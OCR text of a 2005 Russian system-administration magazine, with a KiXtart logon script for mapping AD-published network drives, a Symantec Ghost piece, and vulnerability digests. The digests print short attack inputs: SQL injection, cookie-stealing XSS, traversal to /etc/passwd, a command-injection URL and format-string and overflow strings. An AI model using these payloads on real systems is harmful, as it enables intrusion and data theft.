Deploy Image
операционная система. в небольших фирмах. Ghost-кли-
В качестве последнего штриха кладке первого параметра укажем, ент DOS с поддержкой сетевых карт
добавим эти компьютеры в домен. что мы хотим записать файл netdom. позволит быстро переустановить ком-
Для этого можно либо воспользовать- exe в incoming-каталог клиента Ghost, пьютер, не прибегая к помощи отвер-
ся соответствующей функцией Ghost, для второго параметра укажем, что тки. Если же компьютеров у вас очень
либо провести подключение вручную. в ОС мы хотим запустить следующую много и дружбу с Ghost вы планируе-
Мы поступим вторым способом, попут- команду: те всерьез и надолго – устанавливай-
но рассмотрев механизм выполнения те консоль, не пожалеете!
команд на компьютерах с Ghost-кли- "c:\program Þles\symantec\ghost\ ↵
incoming\netdom.exe"
ентом. Для решения этой задачи вос- Литература, ссылки:
пользуемся утилитой netdom.exe, вхо- с параметром: 1. Symantec Ghost Implementation
дящей в состав Windows Support Tools. Guide.
В консоли создадим задание «Add Join %computername% /domain: ↵ 2. h t t p : / / s e a . s y m a n t e c . c o m / j p /
имя _ домена /userD: ↵
to domain», с параметрами «Transfer Administrator@имя _ домена ↵ promotions.cfm?productid=9&promo
Files» и «Execute Command». На за- /password:пароль /reboot code=website.

Symantec Ghost Workstation 5. Одной из возможностей дан- вы случайно совершили ошибку, – не рас-
и VMWare Workstation ной программы является созданием сним- страивайтесь, ведь у вас есть Undo!
Прочитав заголовок, вы наверняка подума- ков (Snapshot) и кло-
ете: «С Symantec Ghost все понятно, но при нов. Если различия
чем тут WMWare Workstation? Ведь это со- между используемы-
вершенно разные продукты». На самом де- ми версиями не очень
ле, WMWare Workstation хорошо дополня- велики, то различные
ет систему с Ghost. Представьте себе, что образы можно под-
вам необходимо поддерживать несколь- держивать в дереве
ко различных клонов: бухгалтерия, отдел снимков (см. рис. 10).
программирования, студия дизайна, отдел При этом для установ-
верстки и т. д. При этом время от времени ки новой программы
приходится обновлять некоторые програм- не нужно загружать
мы. С использованием стандартной схемы образ на тестовый
с Ghost процесс обновления, скорее всего, компьютер, достаточ-
будет проходить так: распаковка образа на но просто перейти к
тестовый компьютер, установка программы, нужному снимку, ус-
создание нового образа. А что если после тановить нужную про-
обновления вы нашли ошибку? Делать ре- грамму и скопиро-
зервные копии образов? При каждом об- вать образ с помощью
новлении? Для каждой ветки образа? А вот Ghost-клиента. Если
теперь самое время вспомнить о VMWare в процессе установки Рисунок 10. Дерево снимков VMWare Workstation

18
bugtraq

Переполнение буфера в DameWare Множественные уязвимости в phpMyFAQ


Mini Remote Control Server Программа: phpMyFAQ 1.5.1.
Программа: DameWare Mini Remote Control Server 4.9.0 и Опасность: Высокая.
более ранние версии. Описание: 1. SQL-инъекция обнаружена в сценарии /admin/
Опасность: Критическая. password.php из-за недостаточной обработки входных дан-
Описание: Переполнение буфера обнаружено в процеду- ных. При выключенной опции «PHP magic quotes» удален-
ре аутентификации при обработке слишком длинного име- ный пользователь может выполнить произвольные SQL-
ни пользователя (порт 6129). Удаленный пользователь мо- команды на системе. Пример формы восстановления па-
жет скомпрометировать удаленную систему. роля:
URL производителя: www.dameware.com. user: ' or isnull(1/0) /*
Решение: Установите последнюю версию (4.9.2.4) с сай- mail: [your _ email]
та производителя. 2. Удаленный пользователь может произвести XSS-на-
падение и получить доступ к потенциально важным дан-
Переполнение буфера ным других пользователей. Пример:
в URL-обработчике в Mozilla Firefox http://[target]/[path]/phpmyfaq/admin/footer.php?
Программа: Netscape Netscape 8.0.3 .3, Netscape Netscape PMF _ CONF[version]=<script>alert(document.cookie) ↵
</script>
7.2, Mozilla Firefox 1.5 Beta1, Mozilla Firefox 1.0.6, Mozilla http://[target]/[path]/phpmyfaq/admin/header.php?
Browser 1.7.11. PMF _ LANG[metaLanguage]="><script>alert(document.cookie) ↵
</script>
Опасность: Критическая.
Описание: Переполнение буфера в Mozilla/Netscape/Firefox 3. Удаленный пользователь может выполнить произ-
позволяет удаленному пользователю вызвать отказ в об- вольный PHP-сценарий на системе с помощью символов
служивании или выполнить произвольный код на системе обхода каталога. Пример:
пользователя, просматривающего специально обработан-
http://[target]/[path]/phpmyfaq/index.php?
ную веб-страницу. Пример: LANGCODE=/../../../../[scriptname]
http://[target]/[path]/phpmyfaq/index.php?
<A HREF=https:--------------------------------------------- > LANGCODE=/../../ ../../../../etc/passwd%00

URL производителя: http://www.mozilla.org. 4. Удаленный пользователь может получить доступ


Решение: Установите патч с сайта производителя – Mozilla к лог-файлу. Пример:
Patch 307259.xpi.
http://[target]/[path]/phpmyfaq/data/tracking[date]

Уязвимость форматной строки 5. Удаленный пользователь может получить данные об


в GNU Mailutils imap4d установочной директории приложения на сервере. При-
Программа: GNU Mailutils 0.6. мер:
Опасность: Высокая. http://[target]/[path]/phpmyfaq/index.php?LANGCODE= ↵
Описание: Уязвимость форматной строки существует при [a _ non _ existent _ Þle]
обработке команд IMAP SEARCH в файле search.c. Удален- URL производителя: www.phpmyfaq.de.
ный авторизованный пользователь может послать специ- Решение: Установите последнюю версию (1.5.2) с сайта
ально сформированную SEARCH-команду и выполнить про- производителя.
извольный код на целевой системе. Пример:
SEARCH TOPIC %08x.%08x.%08x.%08x Переполнение буфера
SEARCH TOPIC %s%s%s в VERITAS Storage Exec
URL производителя: www.gnu.org/software/mailutils/ Программа: VERITAS StorageCentral 5.2; VERITAS Storage
mailutils.html. Exec 5.3.
Решение: Установите исправление с сайта производите- Опасность: Критическая.
ля. Описание: Уязвимость существует в нескольких DCOM-
компонентах при обработке входных данных. Удаленный
Переполнение буфера в Cisco IOS пользователь может создать специально сформирован-
Authentication Proxy for FTP/Telnet ный HTML-код, который вызовет соответствующий ActiveX-
Программа: Cisco IOS 12.х. объект со специально сформированными значениями и вы-
Опасность: Критическая. зовет переполнение буфера. Удачная эксплуатация уяз-
Описание: Переполнение буфера существует в Authentication вимости позволит злоумышленнику вызвать отказ в об-
Proxy FTP/Telnet при обработке данных аутентификации. служивании или выполнить произвольный код на целе-
Удачная эксплуатация уязвимости вызывает перезагруз- вой системе.
ку устройства и может позволить удаленное выполнение URL производителя: www.veritas.com.
кода. Решение: Установите исправление с сайта производите-
URL производителя: www.cisco.com. ля.
Решение: В настоящее время способов устранения уязви-
мости не существует. Составил Александр Антипов

№9, сентябрь 2005 19


администрирование

ПОДКЛЮЧАЕМ СЕТЕВЫЕ РЕСУРСЫ


В АВТОМАТИЧЕСКОМ РЕЖИМЕ

ИВАН КОРОБКО
В настоящее время сети получили огромное распространение: теперь они не только на работе,
но и дома. Статья посвящена созданию скрипта, с помощью которого осуществляется
интеллектуальное управление сетевыми дисками, смена их описаний в папке «Мой компьютер».

С
егодня почти на любом предприятии есть компьюте- ветствующих группах безопасности будет подключать не-
ры, объединенные в сеть. Каждому сотруднику, име- обходимые сетевые ресурсы в автоматическом режиме.
ющему на своем рабочем месте компьютер, должен При этом на одну и ту же букву можно подключить разные
быть предоставлен доступ к сетевым ресурсам. С ростом ресурсы для разных пользователей при условии непере-
размера предприятия происходит рост сети. У системно- сечения членства пользователя в соответствующих груп-
го администратора и специалистов системной поддержки пах безопасности. В противном случае, некоторые ресур-
возрастают временные затраты на ее администрирова- сы будут недоступны пользователям. Приступим к созда-
ние. В том числе на опубликование новых сетевых ресур- нию такого сценария.
сов, при переходе пользователя с одного рабочего места
на другое; возникают проблемы с ограничением количес- Выбор языка программирования
тва дисков (их всего может быть 27, включая сетевые, ло- Для создания сценариев регистрации пользователей сущес-
кальные, съемные диски). Затраты на администрирование твует множество языков, однако остановим свой выбор на
можно сократить, создав сценарий регистрации пользова- KIXTart. Этот язык является стандартным языком програм-
телей в сети или, как говорят, сценарий загрузки, который мирования сценариев компании Microsoft. Его дистрибутив
на основе членства учетной записи пользователя в соот- можно найти в Microsoft Resource Kit или бесплатно загру-

20
администрирование

Рисунок 1. Пример изменения описания сетевого диска Рисунок 2. Свойства объекта Shared Folder в Active Directory
в папке «Мой Компьютер»

зить последнюю версию из сети Интернет (http://kixtart.org). ти папки «Otdel1» с соответствующими правами на доступ
В настоящее время используется KIXTart версии 4.50. к этой папке. Если необходимо сделать несколько различ-
Замечание: сценарии, созданные вами ранее на VBScript, ных уровней доступа, в названии группы можно использо-
Jscript могут быть легко переписаны под KIXtart. Все приме- вать префикс.
ры в этой статье будут приведены на языке KIXTart. Таким образом, каждому подключаемому скриптом се-
тевому ресурсу соответствуют два объекта AD: опублико-
Источник информации – файл или база ванная сетевая папка и соответствующая ей группа безо-
данных? пасности.
Чтобы успешно подключить сетевой ресурс, пользователю Замечание: в том случае, если ресурс должен быть до-
необходимо знать имя сетевого диска, с которым будет ас- ступен всем пользователям сети, то необходимо в соответс-
социироваться ресурс, и UNC-путь сетевого подключаемого твующую ресурсу группу добавить группу «domain users»
ресурса. Желательно иметь его описание, чтобы скоррек- с соответствующими правами.
тировать название диска в папке «Мой компьютер». Встает
закономерный вопрос – где же лучше всего хранить эту ин- Сценарий подключения сетевых дисков
формацию? Можно в текстовом файле, лежащем в ката- Сценарий можно условно разбить на несколько логичес-
логе Netlogon, или в каком-нибудь хранилище, например, ких частей:
в Active Directory (далее AD). Мною использовались оба ва- ! определения списка групп, в которые входит текущий
рианта, и в итоге выбор пал на AD. Было достаточно много пользователь;
причин переместить данные из текстового файла в AD, на- ! подключение к АD и чтение значений соответствующих
пример, удобство в обслуживании, уменьшение програм- полей;
много кода и т. д. ! отключение всех обрабатываемых скриптом сетевых
дисков;
Принцип работы сценария ! подключение необходимых сетевых дисков;
Для хранения информации в AD о подключаемом ресурсе ! корректировка описания сетевых дисков в папке «Мой
был использован стандартный объект SharedFolder, кото- компьютер».
рый включал в себя информацию о букве, на которую под-
ключается сетевой ресурс; UNC-путь к сетевому ресурсу; Определение членства в соответствующих
описание сетевого ресурса, которое фигурирует в папке группах безопасности
«Мой Компьютер»; имя группы безопасности, членам ко- Определение членства в соответствующих группах безо-
торой будет подключен ресурс. пасности осуществляется с помощью встроенной функ-
Опишем механизм подключения одного из сетевых ре- ции EnumGroup():
сурсов, на примере общей папки подразделения «Otdel1».
Пусть папка имеет следующий сетевой путь – «\\Esmiralda\ $i=0
Do
Work$\Otdel1», подключается к диску «К» и имеет описание $Group = EnumGroup($i)
«Служебные файлы» (см. рис. 1). В AD в любой OU, напри- $i=$i+1
Until Len($Group) = 0
мер «Shares», создайте объект «Share Folder» (см. рис. 2).
В любой другой OU создайте группы безопасности, имена Список групп, возвращаемый этой функцией (перемен-
которых совпадают с URL сетевого ресурса после послед- ная $Group), имеет следующий шаблон: DOMAIN\GROUP.
ней «точки». В приведенном примере группа, соответству- Поскольку в AD группы хранятся без префикса (в данном
ющая подключаемому диску, должна называться «Otdel1». случае префиксов является короткое имя домена), то полу-
Членам этой группы будет подключен сетевой ресурс при ченный список групп необходимо преобразовать. Результат
условии, что она будет добавлена во вкладку безопаснос- рекомендуется записать в ту же переменную, т.е. GROUP:

№9, сентябрь 2005 21


администрирование
Group=Right($Group, Len($Group)-InstrRev($Group,"\") Таблица 1. Описание используемых полей объекта Shared Folder

Подключение к АD и чтение значений


соответствующих полей
Подключение к АD реализовано с помощью ADODB-со-
единения:

$strADSQuery = "SELECT keywords, name, description, ↵


cn, uncname FROM '" +$domain _ +"' ↵
WHERE objectClass='volume'" Как видно из приведенного примера, навигация по объ-
$objConnection = CreateObject("ADODB.Connection") ектам, отобранным в результате SQL-запроса, осуществля-
$objCommand = CreateObject("ADODB.Command")
$objConnection.CommandTimeout = 120 ется с помощью функций MoveFirst и MoveNext. Признаком
$objConnection.Provider = "ADsDSOObject" конца списка является EOF.
$objConnection.Open ("Active Directory Provider") Итак, чтение полей осуществляется следующим обра-
$objCommand.ActiveConnection = $objConnection зом:
$objCommand.CommandText = $strADSQuery

$st = $objCommand.Execute $st.MoveÞrst


Do
$cn=$St.Fields("cn").Value
Поиск необходимых объектов осуществляется с по- $uncname=$St.Fields("uncname").Value
$ds _ s=""
мощью SQL-запроса. В качестве фильтра указывается $dss=$St.Fields("description").Value
ObjectClass=’volume’: for each $ds in $dss
$ds _ s=$ds _ s + $ds
Next
"SELECT uname, keywords, description, cn FROM ↵ $keyw _ s=""
'" +$domain+"' WHERE objectClass='volume'" $kss=$St.Fields("keywords").Value
for each $ks in $kss
где $domain – имя текущего домена, который определяет- $keyw _ s=$keyw _ s+cstr($ks)
Next
ся чтением глобального каталога RootDSE. Для его чте- …
ния достаточно прав обычного пользователя. Переменная $st.MoveNext
Until $st.EOF
$domain имеет вид «DC=domain,DC=com»:

$rootDSE _ = GetObject("LDAP://RootDSE") Отключение сетевых дисков


$domain = "LDAP://" + $rootDSE _ .Get("defaultNamingContext")
Отключение всех обрабатываемых скриптом сетевых дис-
Теперь необходимо правильно составить SQL-запрос. ков осуществляется с помощью команды USE:
Для этого понадобятся следующие теоретические знания,
а именно: как называются поля данного объекта и какому $st.MoveÞrst
Do
полю соответствует тот или иной тип данных (строка или $ds _ s=""
массив). Рассмотрим подробнее объект «Shared Folder». $dss=$St.Fields("description").Value
for each $ds in $dss
Каждое поле любого объекта AD может быть либо строкой, $ds _ s=$ds _ s + $ds
либо массивом. Соответственно, механизмы чтения полей, Next
имеющих разный тип данных, также отличаются. use $ds _ s+":" /delete /persistent
Чтение поля, соответствующего типу данных «строка», $St.MoveNext
Until $St.EOF
осуществляется следующим образом:
где переменная $ds_s содержит значение поля, description –
$Value=$St.Fields("Field _ Name").Value буква на которую монтируется диск. Благодаря такому меха-
низму, скрипт управляет только теми сетевыми дисками, ко-
Если тип данных массив: торые используются системным администратором в AD.

$Val _ Array=$St.Fields("Field _ Name").Value Подключение необходимых сетевых дисков


For Each $Val _ Element in $Val _ Array
$Value=$Value+$Val _ Element Подключение дисков осуществляется по алгоритму:
Next Сначала определяется необходимая для подключения
сетевого диска информация, а именно буква, на которую
В скрипте используются поля, описания и тип данных, монтируется диск (поле description); UNC-путь ресурса (по-
которые приведены в таблице 1 (см. рис. 2). ле UNCName); группа, членам которой будет подключен ре-
Чтение полей всех опубликованных сетевых ресурсов сурс (поле cn).
осуществляется с помощью цикла Do…Until: У читателя скорее всего возникнет закономерный воп-
рос: зачем использовать поле cn, когда имя группы фигу-
$st.MoveÞrst рирует в UNC-путь ресурса? Чтение поля CN жизненно не-
Do
… обходимо. Дело в том, что сетевой ресурс может быть двух
$st.MoveNext видов: общий и индивидуальный. Приведем два приме-
Until $st.EOF
ра. В первом случае осуществляется подключение общей

22
администрирование
папки обмена данными, назовем ее «Exchange». Исходя путь – буквы диска не видно. Согласитесь, что это неудоб-
из этого папка, к которой предоставлен доступ, называет- но. Во вторых, в некоторых ситуациях пользователь не дол-
ся «Exchange», соответствующая ей группа безопасности – жен знать, где находится ресурс. В третьих, пусть пользо-
«Exchange» и поскольку в эту группу входят все пользовате- ватель читает не UNC-пути к дискам, а нормальные их на-
ли, то членом этой группы является группа «Domain Users». звания: «Файлы моего подразделения» или «Мои проекты».
Во втором случае, нам необходимо подключить каждому Ему сразу становится ясно, для чего предназначен диск. По-
пользователю домашний каталог. Для этого необходимо со- верьте, не все пользователи соответствуют термину «опыт-
здать папку, например, «HomeDirs» и создать в ней подката- ный пользователь». Это связано с тем, что на подключение
логи, соответствующие логинам пользователей. Ситуация диска требуется время, которое зависит от местоположения
изменилась – сетевой путь к папке использовать нельзя, рабочей станции, загруженности сервера и других факто-
однако есть поле CN – имя ресурса, где можно записать ров. Точно его рассчитать не представляется возможным,
всю необходимую информацию: имя пользователя и соот- поэтому для ускорения работы скрипта лучше разделить
ветствующую группу безопасности (см. рис. 2). блоки подключения дисков и смены описания с помощью
Итак, после определения трех необходимых полей уз- функции-задержки. Действие функции основано на вы-
нать, входит ли пользователь в соответствующую ресурсу числении промежутка времени с помощью нового макро-
группу безопасности и при положительном исходе провер- са @Ticks, который возвращает количество миллисекунд с
ки приступить к подключению ресурса по одному из двух момента загрузки компьютера, определяется разность вре-
алгоритмов. Выбор алгоритма зависит от наличия логина мени – при достижении указанного интервала во времени,
в считанном значении CN. задержки, осуществляется выход из цикла:
Подключение диска осуществляется с помощью ко-
манды use: $delay _ size=3
$Q = @Ticks + $delay _ size*1000 ; x – количество секунд
; задержки
; элементами массива $usergroup _ name[] являются группы, Do
; членами которых является текущий пользователь Until @Ticks >= $Q

for $t=0 to ubound($usergroup _ name) Механизм смены описания в Windows 2000 и Windows XP
if instr($usergroup _ name[$t],$group _ b)<>0 разный. Характеристики всех типов дисков (сетевых, ло-
кальных и съемных) в Windows 2000 хранятся в ветви ре-
; критерием персонализации является членство
; в перечисленных группах PersonalGroup1…3 естра HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\MountPoints в Windows 2000, для
if instr(ucase($group _ b),ucase("PersonalGroup1"))<>0 ↵
or instr(ucase($group _ b),ucase("PersonalGroup2"))<>0 ↵ Windows XP – в HKEY_CURRENT_USER\Software\Microsoft\
or instr(ucase($group _ b),ucase("PersonalGroup3"))<>0 Windows\CurrentVersion\Explorer\MountPoints2.
if instr($cn,@userid)<>0
use $ds _ s+":" $uncname Рассмотрим каждый механизм подключения сетевых
? " !!!!" + $ds _ s+":" $uncname дисков отдельно. Начнем с Windows XP, т.к. там он наибо-
if @error=5 ; ошибка доступа
; к ресурсу лее понятен и прост.
$error _ code="1"
$error _ message=$error _ message+ ↵
"Не удалось подключить диск " ↵ Переименование описаний сетевых дисков
+$ds _ s+" к ресурсу "+ ↵ для Windows XP
$cn+chr(13)
Точки монтирования сетевых дисков организованы по
EndIf следующему принципу: в подпапке HKEY_CURRENT_
endif
else USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
use $ds _ s+":" $uncname MountPoints2 для сетевых дисков создаются подразделы,
? " !!!!" + $ds _ s+":" $uncname
if @error=5 ; ошибка доступа имена которых организованы по принципу: «## имя серве-
; к ресурсу ра # имя папки, к которой предоставлен доступ # подпапка1
$error _ code="1"
$error _ message=$error _ message+ ↵ #.... # подпапкаX». В каждой из этих подпапок присутствуют
"Не удалось подключить диск " ↵ 3 обязательных параметра, четвертый – _LabelFromReg так-
+$ds _ s+" к ресурсу "+ ↵
$cn+chr(13) же должен быть создан (см. рис. 3). Для смены имени сете-
EndIf
endif
endif
next

Корректировка описаний дисков


в папке «Мой компьютер»
Механизм переименования сетевых дисков в папке «Мой
компьютер» лучше всего запускать после завершения про-
цесса подключения самих сетевых дисков. У читателя мо-
жет возникнуть закономерный вопрос: «Зачем это вооб-
ще надо?». Существует несколько причин. Приведем не- Рисунок 3. Фрагмент реестра, в котором описываются точки
которые из них: представьте, что у вас длинный сетевой монтирования сетевых дисков (Windows XP)

№9, сентябрь 2005 23


администрирование
вого диска в папке «Мой Компьютер» необходимо изменить
значение строковой переменной _LabelFromReg. Кодовая таблица Windows (CP-1251)
Таблицы кодов знаков ASCII содержат десятичные и шестнадца-
WriteValue(cstr($keyw _ path+"\"+$temp1), ↵ теричные значения расширенного набора знаков ASCII (American
" _ LabelFromReg",cstr($keyw _ s),"REG _ SZ")
Standards Committee for Information Interchange – американский ко-
Для определения переменной $key_path необходимо митет стандартов по обмену информацией). Расширенный набор
вычислить названия папок, UNC-путь: необходимо заме- знаков включает набор знаков ASCII и 128 дополнительных зна-
нить символ «\» на «#»: ков для рисования графики и линий, которые часто упоминаются
как «набор знаков IBM».
$st.MoveÞrst Отображаемые в Windows знаки с кодами больше 127 зави-
Do
$uncname=$St.Fields(«uncname»).Value сят от выбранной гарнитуры шрифта.
… Таблица, представленная на рис. 5, показывает набор знаков
$keyw _ path="HKEY _ CURRENT _ USER\Software\Microsoft\ ↵
Windows\CurrentVersion\Explorer\MountPoints2" по умолчанию для текстового приложения.
$uncname=Right($uncname,Len($uncname)-2)
$keyw _ array=split($uncname,»\»)
$temp1="#" Рассмотрим преобразование первой буквы выражения –
For Each $ugu in $keyw _ array русской заглавной буквы «С». Процедура чтения кода сим-
$temp1=$temp1+"#"+$ugu
Next вола осуществляется с помощью функции ASC. Букве «С»
WriteValue(cstr($keyw _ path+"\"+$temp1), ↵ соответствует номер 209 в таблице ASCII (см. рис. 5). За-
" _ LabelFromReg",cstr($keyw _ s),"REG _ SZ")
тем необходимо перевести полученное значение в шест-
$st.MoveNext надцатеричное с помощью DecToHex, параметром кото-
Until $st.EOF
рой является число – ASCII-код символа. Символу с ASCII
с номером 209 соответствует шестнадцатеричное число
Переименование описаний сетевых дисков D1. Теперь самое интересное: полученное значение раз-
для Windows 2000 бивают на два символа.
Логика подключения сетевых дисков Windows 2000 и XP Буквенное значение первого символа преобразуют в
сильно отличаются. В ветви реестра «HKEY_CURRENT_ цифру в соответствии с таблицей 2, а для идентификации
USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ языка добавляют 2-й байт. Первым байтом является два
MountPoints» созданы подразделы (см. рис. 4), имена ко- символа – НЕХ-код буквы.
торых совпадают с буквой подключаемого сетевого дис- Таблица 2. Преобразование первого символа HEX-кода буквы
ка. Внутри каждого из них существуют еще подразде-
лы. Среди них обязательными являются Autorun, _DIL,
_LabelFromDesktopINI. Для изменения описания диска
в папке «Мой Компьютер» в каждой из них необходимо Таким образом, получаем, что первому символу соот-
создать два раздела, если они еще не существуют: _GVI ветствует код «21» – это первый байт. Второй байт при-
и _LabelFromReg. В каждом из них при внесении изменений нимает значение в зависимости от языка: 04 – русский
необходимо менять значение параметра Version, имеющего язык и 00 – английский. Он определяется по коду симво-
тип данных REG_DWORD. В подпапке _LabelFromReg допол- ла: если ASCII-код символа больше 128, то буква русская
нительно необходимо создать ключ Cache, в котором в за- (см. рис. 5), в противном случае – английская. Итак, вто-
шифрованном виде находится описание подключаемого се- рой байт символа равен «04», а сам символ – «21 04». Для
тевого диска. Тип данных параметра Cache – REG_BINARY. наглядности привожу таблицу преобразования всего выра-
Опишем систему шифрования данного параметра на при- жения (см. таблицу 3).
мере фразы «Служебные файлы», причем последняя бук-
ва «е» в первом слове пусть будет английская. Нам нужен
пример любой английской буквы. Надо рассмотреть алго-
ритм обработки латинских и русских символов.

Рисунок 4. Фрагмент реестра, в котором описываются точки


монтирования сетевых дисков (Windows 2000) Рисунок 5. Кодовая таблица Windows (CP-1251)

24
администрирование
Таблица 3. Карта преобразования фразы «Служебные файлы» If $ßag _ S=0

Select
Case instr(ucase($string),UCase("с"))<>0
$t=$t+cstr("1")+$string2
$ßag _ S=1

EndSelect

If $ßag _ S=0
$t=$t+cstr(dectohex(Asc(Right(Left ↵
($keyw _ s,$c),1))))
endif

Определение 2-го байта символа осуществляется по


ASCII-коду символа:

If Asc(Right(Left($keyw _ s,$c),1))>128
$t=$t+"04"
Else
$t=$t+"00"
Endif
Настало время осветить этот вопрос с точки зрения
программирования. Итак, мы рассмотрели преобразова- Поскольку строка описания может иметь только 32 сим-
ние только одного символа, однако выражение состоит из вола и обновляется исключительно записываемая часть,
множества символов, которые необходимо последователь- то во избежание оставления «хвостов» необходимо все ос-
но преобразовать: тальные символы обнулить:

$keyw _ s="Служебные файлы" For $r=1 to 32-len($keyw _ s)


For $c=1 to Len($keyw _ s) $t=$t+cstr("00")
$symbol= cstr(dectohex(Asc(Right(Left($keyw _ s,$c),1))) Next
Next
И, наконец, последний штрих – запись соответствую-
В приведенном примере переход от символа к символу щих значений в реестр:
осуществляется с помощью цикла For…Next и комбинации
функций Left и Right. В конечном счете переменная $symbol WriteValue($keyw _ path+"\"+$ds _ s+"\ _ LabelFromReg", ↵
"Cache", $t, "REG _ BINARY")
является шестнадцатеричным числом (HEX). $r _ w1=ReadValue($keyw _ path+"\"+$ds _ s+ ↵
Теперь необходимо отдельно получить первый и вто- "\ _ LabelFromReg","version")
WriteValue($keyw _ path+"\"+$ds _ s+"\ _ LabelFromReg", ↵
рой символы каждого из HEX-числа и с первым символом "Version", $r _ w1+1, "REG _ DWORD")
в случае, если его код ASCII больше 128, выполнить преоб- $r _ w2=ReadValue($keyw _ path+"\"+$ds _ s+ ↵
"\ _ GVI","version")
разование (см. таблицу 3). Первый символ и второй сим- WriteValue($keyw _ path+"\"+$ds _ s+"\ _ GVI", "Version", ↵
вол определяются следующим образом: $r _ w2+1, "REG _ DWORD")

$string=ucase(left(cstr(dectohex(Asc(Right ↵ В приведенном примере осуществляется наращивание


(Left($keyw _ s,$c),1)))),1))
$string2=ucase(right(cstr(dectohex(Asc(Right ↵ версии в разделах _LabelFromReg и _GVI.
(Left($keyw _ s,$c),1)))),1)) Теперь осталось научить скрипт определять на какой
операционной системе он выполняется и с описанием под-
Приступим к реализации алгоритма преобразования ключения сетевых дисков будет покончено.
первого символа шестнадцатеричного числа. В нем це- Тип определенной системы в KIXTart определяется с по-
лесообразно использовать систему флагов и инструкцию мощью макроса @PRODUCTTYPE.
select…case. Таким образом, если в возвращаемом макросом зна-
Приведем пример преобразования первой буквы вы- чении присутствует комбинация символов 2000, то выпол-
ражения – «С». Как было определено ранее, этому сим- Таблица 4. Список возвращаемых значений макросом @ProductType
волу соответствует шестнадцатеричное значение D1, ис-
ходя из таблицы 2, D должно преобразоваться в 2, а са-
мо число в 21:

Select

Case instr(ucase($string),UCase("d"))<>0
$t=$t+cstr("2")+$string2

End Select

В данном случае используется только инструкция


select…case. Флаговая система используется для опреде-
ления алгоритма преобразования, в зависимости от HEX-
кода символа:

№9, сентябрь 2005 25


администрирование

Рисунок 7. Свойства домена в AD

Рисунок 6. Диалоговое окно свойства пользователей в AD


няется сценарий для Windows 2000, и для Windows XP, со-
ответственно, XP:

If instr(ucase(@producttype), ucase("2000"))<>0
………; сценарий для Windows 2000
Else If instr(ucase(@producttype), ucase("xp"))<>0
………; сценарий для Windows XP
EndIf EndIf

Полную версию сценария смотрите на сайте www.samag.ru


в разделе «Исходный код».

Внедрение скрипта в эксплуатацию


Скрипт выполняется каждый раз при регистрации поль- Рисунок 8. Доменная политика безопасности
зователя в сети, если он указан в разделе Profile свойств ! Зарегистрироваться на сервере с помощью учетной за-
пользователя (см. рис. 6) службы Active Directory: Users писи, имеющей административные права.
and Computers. ! Загрузить в Active Directory Users and Computers («Start →
В папке Netlogon должны находиться файлы: Programs → Administrative Tools») и войти в свойства кон-
! KIX32.EXE троллера домена.
! SCRIPT.KIX ! Перейти во вкладку «Group Policy» и загрузить «Default
! START.BAT Dоmain Policy» (см. рис. 7).
! В загруженной групповой политике (Default Domain
Файл Start.bat имеет следующий листинг: Policy) необходимо в «User Configuration» (настройках
пользователя) войти в «Administrative Templates» (адми-
start /wait kix32.exe script.kix нистартивные настройки). Там выбрать раздел «System»
(система), вкладку «logon/logoff» (войти/выйти) и вклю-
На время выполнения скрипта необходимо скрыть CMD- чить раннее оговоренные политики (см. рис. 8).
панель, в которой выполняется скрипт и приостановить за-
грузку рабочего стола до окончания всего скрипта. Этого Заключение
результата добиваются с помощью групповой политики, Таким образом созданный сценарий автоматически подклю-
распространяющейся на домен («Default Domain Controllers чает и отключает сетевые ресурсы. Управляет только теми
Policy»). В разделе групповой политики «User Configuration» буквами дисков, которые присутствуют в поле description
необходимо, соответственно, включить «Run legacy logon опубликованных сетевых ресурсов. С помощью скрипта мож-
script synhronously» (запускать сценарий загрузки синхрон- но реализовать множественное подключение сетевых ресур-
но) и «Run legasy script hidden» (запускать сценарий скры- сов на одну букву при условии, что членство пользователей
то). Для этого необходимо проделать следующее: в соответствующих группах не пересекается.

26
bugtraq

Обход каталога и выполнение команд Уязвимость форматной строки


в Barracuda Spam Firewall в OpenTTD
Программа: Barracuda Spam Firewall версии до 3.1.18. Программа: OpenTTD 0.4.0.1.
Опасность: Высокая. Опасность: Критическая.
Описание: Обход каталога возможен из-за недостаточной Описание: Уязвимость обнаружена в файлах network.c,
обработки входных данных в параметре f сценария /cgi-bin/ os2.c, strgen/strgen.c, texteff.c, ttd.c и win32.c из-за недоста-
img.pl. Удаленный пользователь может с помощью специ- точной обработки входных данных перед вызовом функции
ально сформированного URL, содержащего символы обхо- vsprintf(). Удаленный пользователь может послать прило-
да каталога, просмотреть произвольные файлы и выпол- жению специально сформированный запрос и вызвать от-
нить произвольные команды на системе. Примеры: каз в обслуживании или выполнить произвольный код на
http://[target]:8000/cgi-bin/img.pl?f=../home/ целевой системе.
emailswitch/code/ conÞg/current.conf URL производителя: www.openttd.com.
http://[target]:8000/cgi-bin/img.pl?f=../bin/ls|
Решение: В настоящее время способов устранения уязви-
URL производителя: www.barracudanetworks.com. мости не существует.
Решение: Установите последнюю версию (3.1.18) с сайта
производителя. Выполнение произвольного кода
в vxFtpSrv
Выполнение произвольных команд Программа: vxWeb 0.9.7.
в Mozilla Firefox Опасность: Критическая.
Программа: Mozilla Firefox 1.0.6. Описание: Удаленный пользователь может подключить-
Опасность: Высокая. ся к FTP-серверу и послать специально сформирован-
Описание: Уязвимость обнаружена в сценарии, который ную команду USER, что приведет к переполнению буфе-
вызывается для обработки консольных команд, содер- ра и позволит злоумышленнику вызвать отказ в обслужи-
жащихся в URL. Удаленный пользователь может заста- вании или выполнить произвольный код на целевой сис-
вить пользователя нажать на специально сформирован- теме. Пример:
ную ссылку во внешнем приложении, которое использу-
USER seth@@@@[...]@@@D@@@C@@@B@@@XXXX
ет Firefox в качестве браузера по умолчанию, и выполнить
произвольные команды на системе с привилегиями теку- URL производителя: www.cam.com/vxftpsrv.html.
щего пользователя. Уязвимость существует только на UNIX- Решение: В настоящее время способов устранения уязви-
платформах. мости не существует.
URL производителя: www.mozilla.org/products/firefox.
Решение: Установите последнюю версию с сайта произ- Отказ в обслуживании в SlimFTPd
водителя. Программа: SlimFTPd 3.17.
Опасность: Средняя.
Переполнение буфера при обработке Описание: Уязвимость существует при обработке команд
ARJ-архивов в NOD32 FTP USER и PASS. Удаленный пользователь может послать
Программа: NOD32 nod32.002 version 1.033 build 1127. сервису специально сформированные команды и вызвать
Опасность: Критическая. отказ в обслуживании приложения. Пример:
